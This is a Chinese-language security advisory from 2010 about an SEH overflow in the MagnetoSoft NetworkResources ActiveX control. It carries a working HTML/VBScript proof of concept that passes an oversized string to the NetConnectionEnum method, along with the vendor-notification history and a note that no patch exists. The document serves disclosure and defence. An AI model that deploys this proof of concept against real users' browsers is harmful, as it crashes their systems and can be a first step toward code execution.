MagnetoSoft NetworkResources ActiveX NetConnectionEnum SEH溢出漏洞
发布日期：2010-04-13
更新日期：2010-04-13
受影响系统：MagnetoSoft NetworkResources
描述：
MagnetoSoft是软件开发及网络信息等产品厂商。
MagnetoSoft NetworkResources ActiveX控件在实现上存在安全漏洞，可导致NetConnectionEnum SEH溢出。
<*来源：s4squatch
链接：
http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<object classid='clsid:61251370-92BF-4A0E-8236-5904AC6FC9F2' id='target' /></object>
<script language='vbscript'>
'Magneto Software Net Resource ActiveX NetConnectionEnum SEH Overwrite POC
'Discovered by: s4squatch
'Site: www.securestate.com
'Date Discovered: 02/11/10
'www:
http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm
'Download:
http://www.magnetosoft.com/downloads/SystemInfoPackSetup.exe
'Vendor Notified: 02/02/10 --> NO RESPONSE
'Vendor Notified: 02/11/10 --> NO RESPONSE
'Vendor Notified: 02/17/10 --> NO RESPONSE
'SKNetResource.ocx
'Function NetConnectionEnum ( ByVal strServerName As String , ByVal strQualifier As String , ByRef pvarNetConnectionInfo As Variant ) As Long
'progid = "SKNETRESOURCELib.SKNetResource"
'SEH overwrite
buff = String(12334, "A")
arg1 = buff
arg2 = "defaultV"
arg3 = "defaultV"
target.NetConnectionEnum arg1 ,arg2 ,arg3
</script>
建议：
厂商补丁：
MagnetoSoft
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.magnetosoft.com/products/sknetresource/sknetresource_features.htm浏览次数：2097
严重程度：0（网友投票）
